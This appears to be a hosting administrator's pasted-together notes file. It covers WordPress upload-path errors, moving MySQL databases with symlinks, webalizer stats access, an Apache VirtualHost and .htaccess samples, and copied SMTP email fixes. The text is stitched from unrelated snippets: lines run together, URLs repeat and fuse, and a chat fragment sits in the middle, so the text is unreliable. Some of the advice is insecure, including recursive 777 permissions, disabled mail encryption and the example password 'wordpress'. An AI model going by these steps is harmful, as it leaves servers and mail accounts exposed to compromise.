Install updated Plugins and Themes. Please review the list of Plugins that work in Version 2.8.4. Check for Theme Compatibility with 2.8.4 and ask your Theme author for any new version. 
Reactivate Plugins 
Add security key definitions to the wp-config.php file 
Review what has changed in WordPress. 
That's the overview of the upgrade process. Please continue reading the Detailed Upgrade Instructions.Unable to create directory /wp-content/uploads/2009/09. Is its parent directory writable by the server?

The parent directory is 2009 and uploads is ’super’ parent directory (if I can call it that way). Both the directories had 777 permission so there was nothing wrong with the permission settings.

The problem was not with the directory permissions, but it was with URL where WordPress was trying to upload the image.

On my previous server, I had the blog in a folder named ‘tech’ and in the new server I had renamed it as ‘technology’.

Since I had moved the complete blog to the new server, the upload path was pointing to :

/home/tech/public_html/wp-content/uploads/2009/09

instead of pointing to

/home/technology/public_html/wp-content/uploads/2009/09

Do you notice the source of the problem ?

How can you fix it ?

SOLUTION : 

Simple,
Login to your Blog as admin, go to Miscellaneous under Settings.

You’ll find the option “Store uploads in this folder” Set it to default which is “wp-content/uploads“, unless u specifically want the content in some other folder.

This should solve your problem !

There is a more complicated way of changing the file upload path of your wordpress blog, this is recommended only for those who know how to handle wp-config file !

For this you’ll have to modify wp-config.php file. Add below mentioned code before

require_once(ABSPATH.’wp-settings.php’); code in your wp-config file

define(’UPLOADS’, ‘wp-content/new_folder’);

Once you save this new configuration all your uploaded files will go to the ‘new_folder’ under wp-content directory.

***************************************************************************************************************

OR :

image upload error
go to admin area :

new posts and try to add the new posts by adding the image you will get the following error


Unable to create directory / Is its parent directory writable by the server?


Ex. Error :   Unable to create directory /home/kinsey/public_html/wordpress/wp-content/uploads/2009/09. Is its parent directory writable by the server?

Solution :

1.   Set 777 permissions recursiveyy  for upload/ folder only 

If still getting the error 
then

2.  Go to Miscellaneous Settings from admin area

Go to miscellaneous settings and uncheck the option "Organize my uploads into month- and year-based folders" and try uploading images.

and also set the path as : 

wp-content/uploads   

at Store uploads in this folder.

http://oldfield.wattle.id.au/luv/boot.html


http://comptechdoc.org/os/linux/commands/linux_crcredits.html


http://tille.garrels.be/training/tldp/ch03s02.htmlhttp://oldfield.wattle.id.au/luv/boot.html


http://comptechdoc.org/os/linux/commands/linux_crcredits.html


http://tille.garrels.be/training/tldp/ch03s02.htmlhttp://oldfield.wattle.id.au/luv/boot.html


http://comptechdoc.org/os/linux/commands/linux_crcredits.html

http://tille.garrels.be/training/tldp/ch03s02.html/var/cpanel/userdata/usernamecreate a folder called mysql in home, move big dbs there and create symlinks in /var/lib/mysql for those dbs


[11:23:08 AM] vulgar: create a folder called mysql in home, move big dbs there and create symlinks in /var/lib/mysql for those dbs
[11:23:20 AM] APS-3: okay
[11:23:49 AM] vulgar: find /var/lib/mysql  -name "*" -size +100000k
[11:23:54 AM] vulgar: you can find big dbs
[11:24:01 AM] vulgar: do nothing to ibdata1 file

How to create symlink  >>

ln -s  /home/mysql/database_name  database_name

Ex. 

ln -s  /home/mysql/maxihebe_forum maxihebe_forum
Viewing webalizer stats without login to cPanel

cd /home/username/www
ln -s ../tmp/webalizer stats
chown username.username stats
cd ../tmp
chmod 755 ./
chmod 755 ./webalizer

This will allow http://domain.com/stats/ for viewing stats without logging in to cpanel<VirtualHost 66.7.221.11:80>
    <IfModule concurrent_php.c>
        php4_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
        php5_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/local/lib/php:/tmp"
    </IfModule>
    <IfModule !concurrent_php.c>
        <IfModule mod_php4.c>
            php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
        </IfModule>
        <IfModule mod_php5.c>
            php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/local/lib/php:/tmp"
        </IfModule>
        <IfModule sapi_apache2.c>
            php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
        </IfModule>
    </IfModule>
    <IfModule mod_userdir.c>
        UserDir disabled
        UserDir enabled greenorc
    </IfModule>
 ServerName greenorclean.com
    ServerAlias    greenorclean.com www.greenorclean.com
    ServerAdmin webmaster@greenorclean.com
    DocumentRoot /home/greenorc/public_html/
    UseCanonicalName off
    <IfModule mod_suphp.c>
        suPHP_UserGroup greenorc greenorc
    </IfModule>
    <IfModule !mod_disable_suexec.c>
        User greenorc
        Group greenorc
    </IfModule>
    BytesLog /usr/local/apache/domlogs/greenorclean.com-bytes_log
    CustomLog /usr/local/apache/domlogs/greenorclean.com combined
    ScriptAlias /cgi-bin/ /home/greenorc/public_html/cgi-bin/
    # To customize this VirtualHost use an include file at the following location
    # Include "/usr/local/apache/conf/userdata/greenorc/greenorclean.com/*.conf"
</VirtualHost>

http://www.webhostingtalk.com/showthread.php?t=397457

/scripts/whoowns almco.biz
cd ~almcobiz/public_html
pico .htacess

write the below lne :

Options +FollowSymLinks

and save the file.

ln -s ~almcobiz/tmp/webalizer stats   >>>> this will create stats file

cd ..

chmod 755 tmp/
chmod 755 tmp/webalizer



EX. 

root@vip [/home/almcobiz]# chmod 755 tmp/
root@vip [/home/almcobiz]# chmod 755 tmp/webalizer
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName thegamedruid.com
AuthUserFile /home/thegamed/public_html/_vti_pvt/service.pwd
AuthGroupFile /home/thegamed/public_html/_vti_pvt/service.grp

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress
http://codex.wordpress.org/Changing_File_Permissionswordpress mu


http://codex.wordpress.org/Create_A_NetworkWordpress site getting redirected : 

How to remove the redirection ?



Edit wp-config.php

It should be possible to fix the site URL using a new feature -

Add these two lines to your wp-config.php, where "example.com" is the NEW location of your site.
Add these two lines to the file, immediately after the initial "<?php" line.


define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');


Use your own URL instead of example.com, obviously.

************************************************************************

http://codex.wordpress.org/Changing_The_Site_URL

http://wordpress.org/support/WP Mail SMTP

Installing plugins and setting up mails 

This plugin reconfigures the wp_mail() function to use SMTP instead of mail() and creates an options page that allows you to specify various options.

You can set the following options: 
* Specify the from name and email address for outgoing email. 
* Choose to send mail by SMTP or PHP's mail() function. 
* Specify an SMTP host (defaults to localhost). 
* Specify an SMTP port (defaults to 25). * Choose SSL / TLS encryption (not the same as STARTTLS). 
* Choose to use SMTP authentication or not (defaults to not). 
* Specify an SMTP username and password.

*******************************************************************************************************************


Solution no 2 : 


Wordpress not Sending Email Try This Fix

http://annanta.com/archive/wordpress-not-sending-email-try-this-fix/

If you are not receiving any notification adn e-mail from your WordPress blog, or the PHP mail() function isn’t working, or SMTP isn’t working, here is your solution. Yes, this is guaranteed to work, even if you’re using Google mail application.



Method 1  :

If you are using c-panel and if you have signed up with google mail application then login to your C-panel and find the option MX Entry.


Make sure that your setting is same as shown in image below


Method 2  : 
   

Go to your hosting cpanel and create this emailaccount: wordpress@yourdomain.com. Replace “yourdomain.com” with whatever your domain name is. Make sure that if you have a .net, that you use .net instead of .com in that email. Set up your username and password and remember it.

Download WP-Mail-SMTP or Cimy Swift SMTP. Just pick one of these and install and activate the plugin.

Configure your SMTP plugin under Settings or Tools in your sidebar. This is the most important step! Do not fill in this info with what Gmail tells you to put in. Do the following instead:

Sender e-mail must be: the new email account you created in your hosting cpanel. Put in the full wordpress@yourdomain.com in there.

If there is a checkbox to use SMTP, check it.

SMTP server address will be: mail.yourdomain.com. Replace “yourdomain.com” with your domain name again.

Port will be 25 or 26. Try those before trying 456 for gmail. Contact your hosting provider if neither works. The chances of neither of these working are small.

Username would be: wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name again.

Password is the password for that account.

Set SSL or TLS to no or no encryption. Try these before using TLS for gmail. Contact your hosting provider in case they require encryption, if this doesn’t work.

Wordpress@yourdomain.com will now send the email to your personal account. Make sure that the email on your profile is correct, whether it’s yahoo, hotmail, gmail or any other account. If you are using a contact form, make sure that the email is set to your personal account, as well. The emails should now go to your spam or inbox. 
If it still doesn’t work, you can have your wordpress@yourdomain.com send the email to itself and have your personal account pop forward it. Read the following if you are still having problems. Gmail is used as an example because most people have problems getting it to agree with their wordpress/hosting.

Make sure that the email on your profile is changed to the wordpress@yourdomain.com email. If you are using a contact form, make sure that the emails are sent to the wordpress@yourdomain.com email. *This is important because wordpress and Gmail conflict and this is the only workaround I’ve come up with.

Now, wordpress is set up to use SMTP to send emails out with your wordpress@yourdomain.com email. Step 5a makes sure that all the emails are sent to that same account. So basically, wordpress@yourdomain.com will send emails to itself.

Now login to Gmail and go to Settings.

Under Settings, go to Accounts.

Under “Get mail from other accounts,” go to “Add a mail account you own”.

Username is wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name.

Password is wordpress@yourdomain.com’s password.

POP Server should be mail.yourdomain.com. Replace “yourdomain.com” with your domain name.

Port should be 110.

Click Save Changes.

Now, WordPress will send the emails to the hosting server email account. And Gmail will fetch them. You could also create a Yahoo or Hotmail account and skip step 5 entirely, and then have Yahoo or Hotmail forward those emails to Gmail.

If you are still having problems, or need assistance, leave a comment or contact us by visiting Contact Us page.



When I register a new account for my wordpress blog, it does not sending verifcation email which contains password .



I checked the wordpress.org support forums and found that the issue may be with the provider. I used Fantastico to install WordPress. I have configured WP so that anyone can register. The problem is that when someone registers it sends them an email with their initial password. New users are not receiving this email.

Solution is : 

just create the email id  like 

wordpress@myaddondomain.com

ex.    wordpress@socialweird.com

*********************************************************************************************************************

http://www.roblayton.net/archive/wordpress-not-sending-emails-anymore-solved/

Okay, for anybody who just upgraded WordPress, only to realize you’re not getting notification emails anymore, or the PHP mail() function isn’t working, or SMTP isn’t working, here is your solution. Yes, this is guaranteed to work, even if you’re using Gmail.

1. Go to your hosting cpanel and create this email account: wordpress@yourdomain.com. Replace “yourdomain.com” with whatever your domain name is. Make sure that if you have a .net, that you use .net instead of .com in that email. Set up your username and password and remember it.

2. Download WP-Mail-SMTP or Cimy Swift SMTP. Just pick one of these and install and activate the plugin.

3a. Configure your SMTP plugin under Settings or Tools in your sidebar. This is the most important step! Do not fill in this info with what Gmail tells you to put in. Do the following instead:
3b. Sender e-mail must be: the new email account you created in your hosting cpanel. Put in the full wordpress@yourdomain.com in there.
3c. If there is a checkbox to use SMTP, check it.
3d. SMTP server address will be: mail.yourdomain.com. Replace “yourdomain.com” with your domain name again.
3e. Port will be 25 or 26. Try those before trying 456 for gmail. Contact your hosting provider if neither works. The chances of neither of these working are small.
3f. Username would be: wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name again.
3g. Password is the password for that account.
3h. Set SSL or TLS to no or no encryption. Try these before using TLS for gmail. Contact your hosting provider in case they require encryption, if this doesn’t work.

4. WordPress@yourdomain.com will now send the email to your personal account. Make sure that the email on your profile is correct, whether it’s yahoo, hotmail, gmail or any other account. If you are using a contact form, make sure that the email is set to your personal account, as well. The emails should now go to your spam or inbox.

If it still doesn’t work, you can have your wordpress@yourdomain.com send the email to itself and have your personal account pop forward it. Read the following if you are still having problems. Gmail is used as an example because most people have problems getting it to agree with their wordpress/hosting.

5a. Make sure that the email on your profile is changed to the wordpress@yourdomain.com email. If you are using a contact form, make sure that the emails are sent to the wordpress@yourdomain.com email. *This is important because wordpress and Gmail conflict and this is the only workaround I’ve come up with.
5b. Now, wordpress is set up to use SMTP to send emails out with your wordpress@yourdomain.com email. Step 5a makes sure that all the emails are sent to that same account. So basically, wordpress@yourdomain.com will send emails to itself.
5c. Now login to Gmail and go to Settings.
5d. Under Settings, go to Accounts.
5e. Under “Get mail from other accounts,” go to “Add a mail account you own”.
5f. Username is wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name.
5g. Password is wordpress@yourdomain.com’s password.
5h. POP Server should be mail.yourdomain.com. Replace “yourdomain.com” with your domain name.
5i. Port should be 110.
5j. Click Save Changes.

6. Now, WordPress will send the emails to the hosting server email account. And Gmail will fetch them. You could also create a Yahoo or Hotmail account and skip step 5 entirely, and then have Yahoo or Hotmail forward those emails to Gmail.

If you are still having problems, or need assistance, leave a comment. And good luck.

Read the comments below to see the additional strides taken by other members to get this working on different hosting providers. One noteworthy contribution comes from Mario J. Vargas. Read his article by clicking here.

Another one comes from Annanta: I am sure nothing will work until you fix it in your C-panel setting.Its not WordPress problem but its your domain localhost setting problem. Dont blame WordPress. Find [the] solution here: http://annanta.com/web-world/wordpress-not-sending-email-try-this-fix/

*********************************************************************************************************************



Once you install wp-smtp plugin 

you have to set following values : 

From
From Email:	

wordpress@socialweird.com    (ex.emaild id)

From Name:	
SocialWeird


Mailer:

1.  Send all WordPress emails via SMTP.
2.   Use the PHP mail() function to send emails

select : Use the PHP mail() function to send emails

SMTP Options
These options only apply if you have chosen to send mail by SMTP above.

SMTP Host: localhost
SMTP Port: 25
Encryption:	

Use TLS encryption. This is not the same as STARTTLS. For most servers SSL is the recommended option
Authentication: Yes: Use SMTP authentication.
Username: wordpress@socialweird.com
Password : wordpress

update options :

and try to send an test email.
it will work for you.


reset wordpress admin password

http://digwp.com/2009/10/five-ways-to-change-your-wordpress-password/http://gggeek.raprap.it/debugger/

XMLRPC  /JSONRPC Debugger (based on the PHP-XMLRPC library)

yabb.pl issue can be resolved just by setting 755 permissions recursively.yahoo spam

You can create disposable addresses to use whenever you don't want to share your real Yahoo! Mail address. You will receive all messages sent to the disposable address - you can set up a filter in Filter Options if you want these messages delivered to a personal folder rather than your Inbox.
Your 'Control SpamGuard' setting in Spam Options controls whether or not any messages Yahoo! Mail thinks are spam are delivered to your Spam folder. This setting applies to your disposable addresses as well. However, if any one of your disposable addresses starts receiving spam, just delete that address.
Click the 'Add Address' button above to startInstall zend :

http://downloads.zend.com/optimizer/3.2.0/ZendOptimizer-3.2.0-linux-glibc21-i386.tar.gz


http://downloads.zend.com/optimizer/3.3.3/ZendOptimizer-3.3.3-freebsd6.0-i386.tar.gz


http://downloads.zend.com/optimizer/3.3.3/ZendOptimizer-3.3.3-linux-glibc23-i386.tar.gz